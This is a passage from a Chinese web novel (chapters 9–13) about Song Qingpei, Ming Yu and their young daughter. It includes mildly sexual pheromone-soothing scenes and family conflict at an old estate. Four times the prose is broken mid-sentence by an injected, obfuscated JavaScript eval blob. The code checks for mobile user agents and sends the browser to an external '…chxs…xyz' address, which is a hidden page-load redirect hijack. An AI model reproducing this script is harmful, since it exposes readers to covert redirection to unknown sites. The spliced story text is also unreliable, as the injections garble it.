宋青佩却一本正经地扶住明毓,等她站稳,后退一步,两人拉开了距离。 明毓的瞳孔骤然紧缩,脸色阴沉得仿佛能滴出水来。 "宋青佩,你别敬酒不吃吃罚酒!" 宋青佩并不想再和明毓产生任何冲突,刚才那声笑也是不由自主发出,过后也觉得毫无意义。 她低眉垂眼,“抱歉。” 宋青佩的态度反而让明毓感觉非常挫败,仿佛一拳打在棉花堆里,根本就没有半分用处。 不过几天,这人似乎已经开始慢慢变的难缠了,而她此刻浑身燥热,却根本没有多少精力在这种事上做什么纠缠,可是如此草草了之又实在不甘。 两人默默对峙着,许久。 "安抚我。" 明毓咬牙,终于从牙缝里挤出三个字。 宋青佩依旧没动。 明毓气急,“宋青佩,我叫你安抚我。" 她抬起头,清丽明澈的眸子看着明毓,"怎么做?" 明毓的眼睛死死地盯着宋青佩的脸,仿佛在确认些什么。 宋青佩不动声色,仍然平静地与她对视。 明毓忽然勾起唇角,露出一丝嘲讽的笑容,"宋青佩,你是在不知死活地报复我吗?" “不敢。” 宋青佩迎着她的冰冷刺骨的眼神,淡淡地解释:“我确实不知道该怎么做。你只说了咬痕标记,我已经做了,需要再继续一遍吗?” 这刻板冷硬的态度,让深陷热潮的明毓也不由冷淡了几分,比抑制剂还管用。 明毓强压着怒气,冷笑:“又不是没做过,这种事还要我教你吗?” 好像终于抓住了机会,宋青佩反唇相讥:“不是你说的,只让我咬痕标记,别碰不该碰的地方。我可不想犯了禁忌,再被关到禁闭室去。” 这话怨气冲天,说不是报复明毓都不信。 可是此情此刻,她又说不出什么反驳的话来,只能咬牙切齿,“我现在,允许你摸我。” “摸哪?”宋青佩一本正经地问。 明毓脸色铁青,气得一句话都不想说。她明白继续纠缠下去,徒惹笑话的是自己,反而如了这个女人的愿。 她往前一步,宋青佩立刻警惕地望向她。 明毓冷笑一声,抓住宋青佩的胳膊,按着她的手沿着腰摸了一圈,缓缓往上,哑声吩咐:“从这里往上随便摸,我让你停你就停,还有问题吗?” 她如此坦然的态度,反而让宋青佩僵立当场。 明毓看着宋青佩错愕的表情,心里的那份郁结稍微消减了一点。 她放开了宋青佩的手,坐回了床边,催促,“开始吧。” 宋青佩只好照办,走过去,伸出手指在她的腰间游走,一路摸索,最后颤抖着在某处定格。 明毓的呼吸一窒,心脏仿佛都跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921487|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着漏掉了一拍。 她紧紧地抓住了宋青佩的手,低沉沙哑的声线里透着隐忍的压抑:"不准停。" 宋青佩的手指只得缓缓往上,轻轻捏了捏她脖颈处的腺体。 明毓浑身一震,仿佛一股电流窜过全身,让她整个人的身体都变得滚烫。 她紧抿着嘴唇,忍耐着身体传来的酥麻,只觉得滚烫的手指一寸寸地摸过自己的肩膀、锁骨、一路往下…… 明毓只觉得喉咙发干,眼睛里的情/欲更加炽烈。 宋青佩的手指缓缓摩挲着,仿佛带着魔咒,每一次触碰都让她心跳加速。 她的身子越绷越紧,呼吸粗重,额头上冒出细密的汗珠,浓郁的信息素在身边萦绕,让她理智全无,几欲疯狂。 明毓不知道自己究竟在期待着什么。 她想,自己真的疯了,疯狂地渴求和一个女人亲密接触。 这人就在眼前,理智顷刻间崩塌,明毓猛地转过身,拽住了宋青佩的衣领往下拉,两人的剧烈瞬间拉进,近到可以感觉到对方的呼吸。 明毓看着眼前宋青佩依旧平静的脸,想到她刚才的嗤笑,只觉得越发不舒服,想要让对方同样狼狈,撕开这张平静的面具,让她惊慌失措,然而更多的,却还是来自深处的渴望,亲密无限的接触。 于是她捏住宋青佩的下巴,狠狠地吻了上去。 宋青佩的身体骤然一僵,原本平静的神色有了一丝裂纹,怔怔地望着近在咫尺的脸,脑中轰的一声,一片空白。 明毓吻着她,灵巧的舌尖滑进她口中,卷住她的舌头狠狠地纠缠,仿佛是在惩罚她,又仿佛是在发泄。 她没能坚持的抗拒住明毓主动的吻,甚至有些被动地开始回应。 直到明毓忽然抽身后退,狠狠地将她推开,一边摸着自己的红唇,一边起身拿起杯子喝水漱口。 她将水吐掉,冷冷地道:“结束了。” 宋青佩瞬间回过神,看着明毓眼底毫不掩饰的嫌弃,只觉得一颗心仿佛被刀绞。 她咬牙,"我可以走了吧?" "可以。" 宋青佩转过身去,不再多看明毓一眼,大步往外走去,脚步匆忙而凌乱。 明毓看着合上的房门,思绪渐渐回归,想起刚才发生的事,心里有些懊恼。 她居然忍不住亲了宋青佩,本来只是需要对方短暂的标记安抚自己的信息素,本不该发生如此亲密的行为。 但是…… 她的身体却是诚实地背叛了她的理智。 这样失控的事情决不能再发生,她暗暗警告自己。 10. 第 10 章 被用完就扫地出门的宋青佩,暗自在心里骂了自己一万遍—— 犯贱。 她居然因为明毓亲她一下就不知所措,心潮起伏,简直贱的没边了。这么贱,不欺负你欺负谁? 她陷入了深深地自我厌弃中,哪怕是回到房间看着女儿的甜甜睡颜,也没能安抚住自己的心,反而更加焦躁不安。 隐隐觉得这一切只是刚刚开始,后面还有更多的麻烦等着她。 宋青佩失眠了,一夜没睡。 好不容易清晨刚刚有了一点睡意,就被敲门声惊醒,她艰难的睁开眼,看见颂颂也刚刚睡醒,正趴在她身上哼哼唧唧的蹭来蹭去。 她只能将颂颂从身上扒拉下来,忍着困意去开门。 门外,站着一位穿着制服的年轻女佣,礼貌地说:“宋小姐,早饭准备好了。小姐让我叫您和小小姐下去吃饭。” “不用了,我不饿。” 说完就准备关门,回去补个觉。 却被女佣拦住了,依旧客气的重复:“不好意思,小姐吩咐的,小小姐必须准时下去吃饭。” 本来就困得不行宋青佩没忍住火气:“我现在不饿,不想吃,你就这么回去告诉明毓就行。”说完便后悔了,她不该迁怒于别人的。 可女佣却仿若未闻,依旧机械的重复着之前的话,“宋小姐,小姐吩咐的,小小姐必须准时下去吃饭。” “我说了现在不想吃......” 她的声音陡然拔高,但是还没说完,就被闻声赶来的苏管家打断了。 “宋小姐,您可以不吃,但是小小姐必须按时吃饭。这是小姐吩咐的,从今天开始,小小姐要开始习惯现在的生活。” 一股无力感深深地袭向宋青佩,渐渐转为愤怒,可这股怒气却又无处发泄,毕竟,这里是明毓的地盘,她根本没有反抗的资格。 终究不放心让颂颂一个人去面对未知的生活,宋青佩只能拖着疲惫的身体,进屋给颂颂收拾好,抱着她出了门。 门外,苏管家和女佣还在恭敬地噩等着,实在是压抑。 想到颂颂未来面对的就是这样毫无温度的生活环境,宋青佩不免担心起来,生怕女儿会养成明毓那种唯我独尊,不顾别人死活的性格。 她抱着颂颂下了楼,穿过长长的走廊,大厅,到达餐厅。 餐厅很大,两米多长的餐桌,已经摆满了十几种食物,旁边的女佣还在上菜,而坐着的明毓,全程静静地吃着自己餐盘里的饭,眼皮都没翻一下。 直到看到颂颂,才微不可见的笑了笑。 宋青佩想到昨晚的事就气得不行,只当没看见这人,抱着颂颂走向餐桌,旁边已经有女佣帮她拉开了椅子。 她习惯性道:“谢谢。” 明毓掀起眼皮看了她一眼,淡淡道:“不必说谢谢,这是她们的工作。” 宋青佩的动作一顿,反驳:“这是最基本的礼貌。” “那你的礼貌怕是用不过来。” 一开始宋青佩还以为明毓是在嘲笑她,直到旁边站着的女佣,依次给她和女儿放好餐具,折好餐布,开始根据营养配比进行分食,简直无微不至。 宋青佩:"......" 果真说不过来,才明白明毓只是在陈述事实。 可就算如此,朴素的生活环境还是让她无法习惯这种阶级分明的生活,还没开始吃饭,就感觉到了深深地压力,吃的有些食不知味。 颂颂还小,没有多少拘谨,反而是满满的好奇。 她挥舞着小手,一会要吃这个,一会要尝尝那个。 吃到特别好吃的东西,就高兴地手舞足蹈,“麻麻~,你气这个,嚎吃~” “这个虾也好奇~” “嚎嚎气~” 宋青佩忍俊不禁,配合着跟她说话,时而尝一两口颂颂递过来的吃的。 吃到后面,她都不用自己拿吃的了,颂颂尝一口就递给她,两人配合默契。 对面的明毓脸色却越来越沉,眉目冷颦,仿佛忍无可忍,吐出一句,“食不言。” 颂颂吃的正开心,鼓着腮帮子,“妈咪,说什麽?” “让你多吃点。” 宋青佩帮颂颂擦了擦嘴角,看向明毓,解释道:“颂颂还小,性子活泼一些是正常的。” “她已经三岁半了,基本的餐桌礼仪必须懂。” “颂颂本来就没在这样的坏境生活过,你要给她时间去习惯。” “所以造成这个结果的原因是什么呢?”明毓看着她,嗤笑。 见她又开始翻旧账,宋青佩明智的没有与她纠缠这件事,而是试图讲道理:“我知道你心里有怨气,但是不要把气撒到孩子......” “我没有撒气。” 明毓神色凝重,难得耐心地解释道:“宋青佩,现在距离幼儿园开学还有半个月,颂颂必须在这个段时间内学会所有的技能,不然她会难以融入圈子,甚至会遭到排挤。到时候你要她怎么办?” 宋青佩愣了一瞬。 既没想到这个问题,更意外明毓能如此细心想到这些问题,而她不得不承认,这确实是个很现实的问题。 于是接下来的话,就不免有些底气不足,“我承认你说得有道理,但是这也不是一撮而就的,总要给颂颂些时间。” "可她没有时间了。"明毓一阵见血的指出问题。 宋青佩急道:“可是......” “没有可是。” 明毓的耐心仅仅维持了片刻,就不容拒绝道:“我已经给颂颂安排了礼仪老师,从今天开始,会有专门的老师教导她,在此期间,我希望你能好好配合,不要做拖后腿的那个人。” “好,我知道了。” 宋青佩无力拒绝,也明白,明毓也是真心为颂颂好。 一旁吃的不亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921488|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐乎的颂颂,完全不知道两人的剑拔弩张,还在给宋青佩递咬了一口的食物,被明毓看到,神色严厉的阻止:“颂颂,不可以给别人吃你咬过的东西,这样很不礼貌。” “可细...老师说,要分享。”颂颂眨巴着大眼睛,不解的看向宋青佩,“对吗?妈妈。” 宋青佩:“......” 对于这个问题,她选择了交给始作俑者,示意颂颂:“问你妈咪。” “妈咪?” 颂颂奶声奶气,继续眨巴着不解的眼睛看向明毓。 明毓脸色波澜不惊,认真的解释道:“不要分享你咬过的东西,而是要给别人新的,明白吗?” “哦。” 颂颂看似一脸懵的接受了这个解释。 可没过多久,行为却依旧是,将嘴里刚咬了一口蒸饺递了过去,“妈咪,这个嚎嚎吃,你要不要气?” 唉,真是不长记性。 宋青佩赶紧伸手去阻止,没想到明毓居然从善如流的倾身咬住了半个蒸饺,神色淡定的咀嚼了几口,带着笑意咽了下去。 这魔幻的一幕,看的宋青佩一脸懵逼,甚至忍不住怀疑,明毓就是在公报私仇,刚才义正言辞的讲了半天,就是因为颂颂没有给她喂吃的,嫉妒她们母女的亲密。 她不由哼笑一声:“呵,做人不要太双标。” 对于她的阴阳,明毓完全不为所动。 甚至还重新为这个规矩打了补丁,再次认真的告诉颂颂,只有很亲密的人才可以分享同一份食物,至于这个很亲密的人中,当然顺其自然增加了上将本人。 宋青佩:“......” 颂颂似懂非懂的点了点头,又喂了明毓一口。不出意外,明毓依旧从容的吃了,还笑着拍了拍颂颂的小脑袋。 两人正处的开心,忽然明毓的电话忽然响了。 她看一眼,脸上的笑意顺便变冷,情绪肉眼可见的不好。 宋青佩见状,很有眼色的将颂颂抱了过来。 “让颂颂吃完饭,开始上课。” 明毓吩咐完苏管家,边接电话边起身,因为离得近,宋青佩隐隐约约可以听到一些对话。 “阿毓,你回来了怎么不跟妈说声?” “忙,没来得及。” “行,妈知道你忙。但是你也不小了,结婚的事不能再拖了,你宋阿姨的女儿正好回来了,晚上你过来家里吃饭,你俩也好趁机见个面认识认识。” “我知道......” 随着明毓起身走远,声音逐渐模糊。 宋青佩顿时愣住。 她不是没想过明毓会重新找个喜欢的Alpha结婚,却没想到会这么快,甚至当着她和女儿的面毫不避讳的谈论这个话题 一瞬间,心里也说不清自己是个什么滋味。 却有了更浓重的担忧,若是明毓现在真给颂颂找个后妈怎么办? 11. 第 11 章 明毓吃过早饭离开后,一整天没回来。 而颂颂也被苏管家带去上课了,宋青佩不放心,好在苏管家还算通情达理,让她通过监控看了看颂颂上课时的模样,颂颂表现出了超强的学习能力,老师都给出了很高的评价。 宋青佩放心的同时,心里却也空空的。 她总有种预感,颂颂会离她越来越远,毕竟明毓帮女儿提供的人生起点,可能是她这辈子都无法企及的终点。 忧思重重的宋青佩,在自己的房间呆坐了一下午。 直到颂颂终于上完课,欢快的跑进她怀里撒娇,她整个人才仿佛重新活过来。 “妈妈,好累哦~” “颂颂真厉害。” 宋青佩一边夸她,一边安抚的摸了摸她的小脑袋。 颂颂歪着头,兴奋的手舞足蹈:“今天颂颂学了好多东东,我好喜欢机甲,让妈咪回来带我去开机甲!” “好。” 宋青佩强忍着心中酸涩,笑着点头。 颂颂虽然年纪还小,但是本能的感觉到了不对劲,凑近宋青佩小声问:“妈妈,你不开心吗?” “没有啊。”宋青佩一惊,忙笑道:“颂颂怎么这么问?” 颂颂想了想,说:“可是妈妈最近都不笑了,以前妈妈很爱笑啊。” 没想到女儿会这么敏锐地感觉到自己情绪变化,宋青佩心里既欣慰又酸涩,无奈的叹了口气,强颜欢笑。 “颂颂,妈妈没事。” “妈妈骗人!” 颂颂皱了皱眉,小手捧住了宋青佩的脸,眼睛眨也不眨的盯着她,"妈妈,你为什么不开心啊?你不喜欢这里吗?" 宋青佩内疚又心疼,却又无从解释,只能将她抱在怀里亲了亲,随口道:"颂颂乖,妈妈没有不开心,只是有点想家了。" 没想到听她这么说,颂颂居然脱口而出道:“那我们回家吧!” 宋青佩一惊,本能道:“我们回家,你就见不到妈咪了。你不想跟妈咪在一起了吗?” “颂颂当然想和妈咪在一起啊。” 颂颂一脸苦恼,可还是贴着宋青佩的脸颊道:“可我不想妈妈不开心,妈妈要是想回家,颂颂就跟你一起走。” 这句话,几乎让担惊受怕的宋青佩红了眼眶。 她缓了缓自己的情绪,冷静下来,不禁又开始懊悔自己的多愁善感,害怕会影响到颂颂适应新环境,正想好好跟颂颂说说,忽然本能的感觉到一阵冷意。 宋青佩猛地抬头,只见明毓正神色冷漠的站在门口,目光沉沉。 不知道在那里站了多久。 宋青佩心里一沉,下意识的把颂颂拉到身后,一脸防备的看向明毓。 "你什么时候来的?怎么走路都没一点动静。" 明毓冷笑了两声:"在背后说人坏话,心虚了?" 宋青佩不愿与她争论,淡淡道:"没有。" 刚才的话,明毓听得清清楚楚,此刻心底越加的不舒服,只觉得她十分自私,居然通过博取女儿的同情来达成自己的目的。 她没再看宋青佩,而是对颂颂道:”颂颂,过来。" 颂颂看了看宋青佩,又瞧了瞧明毓,攥着宋青佩的衣角不松手。 “妈妈不开心,我要陪妈妈。” "颂颂,她在骗你,过来。"明毓低喝了一声。 颂颂吓了一跳,怯生生的望着明毓,带着哭腔喊:“你骗人,妈妈不会骗我的!” 见颂颂这般委屈巴巴的模样,明毓不由心头一软,俯身想要将她抱起来。 颂颂拒绝了这个抱抱,连忙躲开扑到了宋青佩怀里。 见状,宋青佩忙挡在两人之间,"颂颂还小,什么都不懂,你别吓到她。" 明毓看着母女俩如此亲昵的姿势,胸腔内像堵了一块巨石一样难受。 她深呼吸几次,平复自己的情绪,语调淡淡的解释:"今晚老宅有个家宴,我要带颂颂过去吃饭。宋青佩,你不要在这个时候耍花样。" 宋青佩明白她这是要带颂颂去见家里人,等于变相的半公开承认颂颂的身份。 猛地,她又想到了明毓早上接的电话。 家宴?相亲?带着女儿去? 难道明毓和那个相亲对象已经这么熟稔吗? 甚至,对方应该已经知道了颂颂的存在,依旧愿意和明毓继续发展。 一时间,宋青佩心中五味杂陈,不知道该说些什么。 她的沉默,落在明毓眼中,就变成了不甘心,刚才在颂颂面前装可怜,也是为了更方便利用女儿拿捏她,以便坐实这桩有利的事实婚姻。 她不由出言警告:"宋青佩,不要妄想不属于自己的东西。" 宋青佩一愣,不解的抬头望向明毓。 明毓见状,以为自己戳中了宋青佩心底的痛处,勾唇讽刺的笑道:"我记得当初就说过,不要妄想我会将错就错。到现在,你还没死心吗?" "......" 宋青佩沉默的低下头,没说话。 她不是没有解释过,但在明毓的眼中,解释就是掩饰,她就是想要攀附权贵的心机女人。现在,已经没什么解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921489|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释的必要了。 宋青佩垂下眼,没再反驳,而是柔声劝颂颂。 顺利让颂颂得到明家长辈的认可,这事不能耽误,好在明毓不管对她的偏见多大,始终将颂颂放在心上的,这也是她能一次次妥协和明毓维持和平的原因。 在她耐心的安抚下,半个小时后,颂颂终于答应跟着明毓去吃饭了。 她从宋青佩怀里出来,鼓着包子脸对明毓说:“你要是再欺负妈妈,我就不喜欢你了。” 明毓闻言,冷冷地扫了宋青佩一眼,没说话。 宋青佩目送着两人离开,想到明毓带着女儿去和人相亲,整个心都揪了起来。 没想到,明毓却只是叫了苏管家,让她带颂颂去换衣服。 房间里只剩下了两人,宋青佩正疑惑着她又想干什么? 难不成又要威胁,警告,羞辱?让她有自知之明,别妄想攀附权贵,这些话,她几乎都可以背下来了。 宋青佩心底冷笑不止,没承想明毓却冷不丁的凑近她,“咬我。” 明毓说着已经解开纽扣,露出白皙修长的脖颈,甚至配合地往一侧歪了歪脸,让自己的腺体露出来。 宋青佩一怔,这才反应过来,明毓还在发热期,应该是怕家宴时紊乱的信息素突然发作,才让她提起安抚,她不由无声的握紧了手掌,心中恼愤交加。 一边让她安抚标记,一边却带着女儿去和人相亲,人怎么可以理直气壮地无耻到这种地步? 见她一直不动,明毓不耐烦了,不耐烦的催促:“快点!” 宋青佩气得胸口起伏,狠狠地用力咬了下去。 下一秒,明毓就感觉腺体传来疼痛的触感,紧接着便被人用舌尖卷了一下,伴随着Alpha信息素的注入,身体渐渐燥热起来。 而宋青佩似乎并不满足于浅尝辄止,舌尖在腺体处探索,最后在腺体深处辗转轻舔,引来明毓一阵战栗,整个身体都软在她怀里。 一向喜欢掌握主动权的明毓,有些无法忍受这种弱势的反应,皱眉威胁: “轻点!宋青佩,你想死吗?” 想到她对自己的羞辱,宋青佩不由狠了心,张口在她腺体处狠狠咬了一口,痛楚混合着酥麻,让明毓几乎无法承受,本能的想要挣扎,却无力的被反扣双手,根本动弹不得。 宋青佩眸色暗了暗,将自己能调动的所有Alpha信息素尽数注入。 “混蛋!啊!” 明毓仰起脖子嘶哑的叫了一声,浑身颤抖不止,让她几欲晕过去。 这不是安抚,更像是报复! 12. 第 12 章 如此明显的挑衅激怒了明毓,正欲发作。 可是在信息素的冲击下,她浑身瘫软,脸色潮红,几乎站立不稳。而宋青佩却看都没看她一眼,甚至无视了她的狼狈,疾步后退了两步。 这明显是在借机发泄自己的不满! 而等她的喘息平静下来,颂颂正好被苏管家领着走过来。 苏管家很有眼色,见明毓神色不虞,立刻道:“上将,要不我先带小小姐下去等您。” “不用了,我们现在就走。”明毓厉声道。 她习惯性的迈开长腿,大步往前走,刚走了一步,在发飘的腿差点一个趔趄,提醒着她刚才的狼狈。 明毓缓了一下,心中暗自发狠,回来一定要好好收拾宋青佩。 直到带着颂颂上了车,明毓体内被勾起的热潮还没有褪去,这让她整个人看上去脸色冷的吓人。 旁边的颂颂小心的打量着她,忽然发现眼前的妈咪有点可怕,好像电视上演的双面人,虽然对她挺好的,可是生起气来,真的好吓人哦! 颂颂在心里默默想着,还是妈妈好。 完全不知道,已经被颂颂在心里打了叉号的明毓,还在不知死活的给女儿上课:“颂颂,你妈妈再跟装可怜,不要相信她,她在骗你……” “不准你说妈妈坏话!” 颂颂气哼哼的说,“你才是骗子,温柔的样子都是装的,其实是个坏脾气的大暴龙。” “这话是谁教你的?” 见她又臭了脸,颂颂越发觉得妈妈被坏脾气的大暴龙欺负了,才会想家,不高兴。 坏妈咪! “哼,我再也不要理你了。” 她喊完,猛的转过小脑袋,半个身子趴在椅子上,拿屁股对着明毓。 明毓板着脸,“颂颂,坐好。” 小姑娘可是很有脾气的,怎么可能会惯着她,说不理就不理她,倔强的给了她一个背影,死活不肯转过来。 完全没有哄小孩子经验的明毓只能听之任之,母女两人陷入了诡异的对峙中,开始了熬鹰状态。 明毓:小孩子,生气,过一会应该就好了。 颂颂:坏妈咪,都不哄哄她,妈妈这时候都会亲亲她,抱抱她,呜呜呜~ 生气了,哄不好的那种。 直到目的地,明毓主动伸手想去抱颂颂,被颂颂一撅嘴躲开,倔强的迈着小短腿下了车,像个小尾巴一样,吧嗒吧嗒的努力跟在明毓身后。 明毓无奈叹气,只能放慢了步伐。 颂颂气喘吁吁的跟着,在心里委屈的抱怨着,呜呜呜~ 这地方好大啊,比住的地方还大。 她累的都要哭了,气的刚想要一屁股坐地上,就突然被从地上拎了起来,双腿悬空的晃荡挣扎着。 “放开窝!放开窝!” “坏妈咪!我不要理你了!” 明毓托着她的小屁股,将人抱在怀里,无奈的放柔了声音道:“好了,颂颂不闹了,我带你去见曾祖母。” “颂颂没闹,你说妈妈坏话!”颂颂气鼓鼓的,“很气,特别气!” 不好让她继续闹下去,明毓只能无奈的问:“那颂颂怎么才能不气呢?” 颂颂认真脸:“不准再说妈妈的坏话!” 虽然心里很不高兴颂颂这么维护宋青佩,但是小家伙实在太倔了,明毓只能嘴上答应了。 颂颂这才露出了笑模样,“好吧,原谅你了,我们去见那个曾什么……” “曾祖母。” 明毓说完,抱着颂颂往老宅的湖心院走去。 她是被奶奶带大的,祖母喜静的,上了年纪后就搬到了老宅的湖心院住,她只要回澜星,便会找时间过来看看。 刚走到人工湖前,明毓正想上船,却被一道声音叫住了。 “明毓,你到家了怎么不去见我?” 来人正是明毓的妈妈姚倩柔,打扮的十分华丽,妆容精致,乍看年轻,却掩饰不了她眼角眉梢淡纹。 明毓的眉心微蹙,有心躲着,还是见到了不想见的人。 可就算心中不悦,但还是表面恭敬的喊了声:"妈。" "嗯。" 姚倩柔淡淡的应着,看了一眼明毓怀里的颂颂,"这就是你生的女儿?" "嗯,我先带颂颂去看看奶奶。" 明毓简单解释了一句,便想带着颂颂离开。 姚倩柔再次不满的叫住了她,“明毓,你这是什么态度?不声不响的将这个没名没分的私生女认回家,这么大的事都不跟我说一声,还有没有把我这个妈的放在眼里?" 明毓闻言,顿时沉下了脸,"妈,我已经跟奶奶说过了。" "你这是要气死我吗?"姚倩柔尖锐的反驳,"我才是你妈,我不同意,你奶奶同意也没用。” 明毓冷笑一声,"妈,别忘了,当初你也是靠着没名没分的私生女上位的。" "你......" 这句话明显戳到了姚倩柔的痛处,她脸上的神情变得狰狞,一张保养得宜的美艳面孔都扭曲了。 “奶奶,还在等我,我先走了。” 说完,明毓抱着颂颂转身上了船。 姚倩柔气的暴跳如雷,“明毓,你这个狼心狗肺的东西,我十月怀胎把你生下来,想尽办法让你成为明家的继承人,现在你翅膀硬了,就这么不把我放在眼里了?" 她泼妇的模样,吓得颂颂往明毓怀里钻,小声喊妈咪。 “颂颂别怕,没事的,妈咪会保护你的。” 明毓抱进颂颂,不悦的低喝,"够了,少在我面前演戏!你做过些什么,你最清楚!" "你你你......" 姚倩柔气的连说了几个"你"字,却又说不出什么。 明毓不愿搭理她,转头吩咐:"快开船,别让奶奶等急了。" "是。" 随即,她抱着颂颂坐船,头也不回的往人工湖中心而去。 姚倩柔气的浑身哆嗦,却没有任何办法。 __ 人工湖并不大,小船很快就靠了岸。 岸边,精神健硕的明老夫人正在遮阳伞下的躺椅上,闭着眼睛小憩,一副安静祥和的模样。 听到船靠岸的声音,她睁开眼睛,看向岸边。 明毓牵着颂颂从船上走了下来。 "奶奶。" 老夫人看到明毓的一瞬间,眼中闪过一抹欣慰的光芒,"毓儿,回来了。" 说完,她又看向明毓怀里的颂颂,眼眸一亮,"哎呦,这小宝贝长得真可爱,来,让曾祖母瞧瞧。" 颂颂本能的看向明毓,明毓摸摸她的头,让她上前,"颂颂,叫曾祖母。" "曾、曾祖母好。"颂颂怯怯的打招呼。 "哈哈哈,颂颂好,真可爱。" 老夫人看着颂颂软绵绵又漂亮可爱的样子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921490|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢的不得了,"毓儿,她长的跟你小时候可真像。一眨眼你都有孩子了,我都老了......" "哪有,您还很年轻,不会老的。" 老夫人笑了笑,“人哪有不老的,不过看到明家后继有人,我也就放心了。” 这等于是变相接纳了颂颂,明毓松了口气,笑道:"奶奶,我今天带颂颂过来,是因为有事情跟您商量,希望您能答应。" "什么事?" 明毓直白的说:“我想在老宅办一场宴会,当众宣布颂颂的身份,您看怎么样?" 老夫人笑道:“这是应该的。不过......” 说到一半,老夫人看了颂颂一眼,招手让佣人过来将颂颂带到了一旁去玩,才继续道:“毓儿,我听说你将那个女人带回来,你准备怎么处理?” 将宋青佩带回来,确实是计划之外的事情。 明毓一怔,犹豫了一下,还是说了实话:"奶奶,颂颂跟着她生活了两年,终究还是有感情的。我怕突然分开颂颂接受不了,所以就把她带回来了,等颂颂习惯了再机会让她离开。" 老夫人沉思一番,脸上已不复之前的和蔼,而是带着几分严厉的语气说:"毓儿啊,你心里有数就好,别忘了你妈的教训,下等人为了往上爬,可是什么都做得出来。” 明毓闻言,忍不住皱起了眉,往事一下浮现在脑海。 姚倩柔的教训,她记忆深刻。 因为那个女人给于她的身份,也曾是见不得人的私生女。 当初姚倩柔为了搭上明家,偷偷给当时已经结婚的明家继承人明熙下药才有了她,后来更是仗肚逼宫,失败后被明熙强行带去堕胎,偷偷逃跑,带着怨气将明毓生了下来。 将她生下来,却又生而不养,只将她当做赚钱往上爬的工具。 三番两次的拿着她威胁明家给钱,时不时的拉着她去哭去闹去卖惨,让她当众哭诉母女的不容易,她哭不出来,便会被狠狠的掐大腿,稍有不如意,就会将她当做出气筒,动则打骂。 女人拿到钱,就会将她关在家里通宵去打麻将。 每每夜里她被吓醒来,一个人躲在黑黑的房间里,哭的撕心裂肺,嗓子都哑了,还是没有人来抱抱她。直到家里意外着火,她一个人在家差点死在大火里,被发现她时候,她已经呛的的不省人事。 她被救起后,明家终于得到了消息,奶奶出面将她领了回去,对外的身份却是干孙女。后来明家真正的继承人因为意外离世,明熙的原配妻子怒而离婚,她才终于有机会真正踏入明家的门槛。 成为明家名正言顺的继承人,而那个女人也终于如愿以偿嫁入了明家。 这么多年来,她近乎拼命的努力,试图将一切做到最好,就是为了证明自己的价值。她要让所有人都知道,她是靠自己的能力得到这一切的,而不是靠那个女人耍弄的卑劣手段。 利用孩子达成自己的目的,是她这辈子最鄙视的伎俩。 所以,她绝不会给宋青佩任何利用女儿的机会。 明毓回过神,神色凝重道:"奶奶,您放心,我知道该怎么做。" "嗯,你长大了,奶奶相信你能处理好这件事。" 说完,老夫人抬起头看了一眼不远处玩耍的颂颂,说:"颂颂这孩子我看第一眼就喜欢。你去安排吧,尽早让她认祖归宗,家族那边我去处理。” "谢谢奶奶,我知道该怎么做了。" 13. 第 13 章 自从明毓带颂颂离开后,宋青佩一直在忐忑地等着。 而明毓带回的消息顺利得让人惊讶,明家居然如此轻易地就接受了颂颂的存在,宋青佩难以置信道:“没想到你父母这么通情达理……” 话没说完,就见明毓变了脸色,她赶紧将话吞了回去。 明毓似乎并不愿意继续这个话题,更不想将自己家里的事情告诉宋青佩,冷着脸说:“明家的事情我奶奶做主,她已经接受了颂颂,你不用管了。” 本来还想再问些什么的宋青佩,识趣地没再说话,转身带着颂颂回去睡觉了。 走到一半,明毓忽然出声,“等颂颂睡了,你过来。” 依旧是高高在上的语气,冷沉中带着一丝哑意,宋青佩太清楚这代表着什么了。 她的发热期还没过去,依旧需要安抚。 可她不想,甚至说得上厌恶,这种毫无感情的□□关系。 于是她采取了消极抵抗的态度,只当没听见,默默抱着颂颂回了房间。 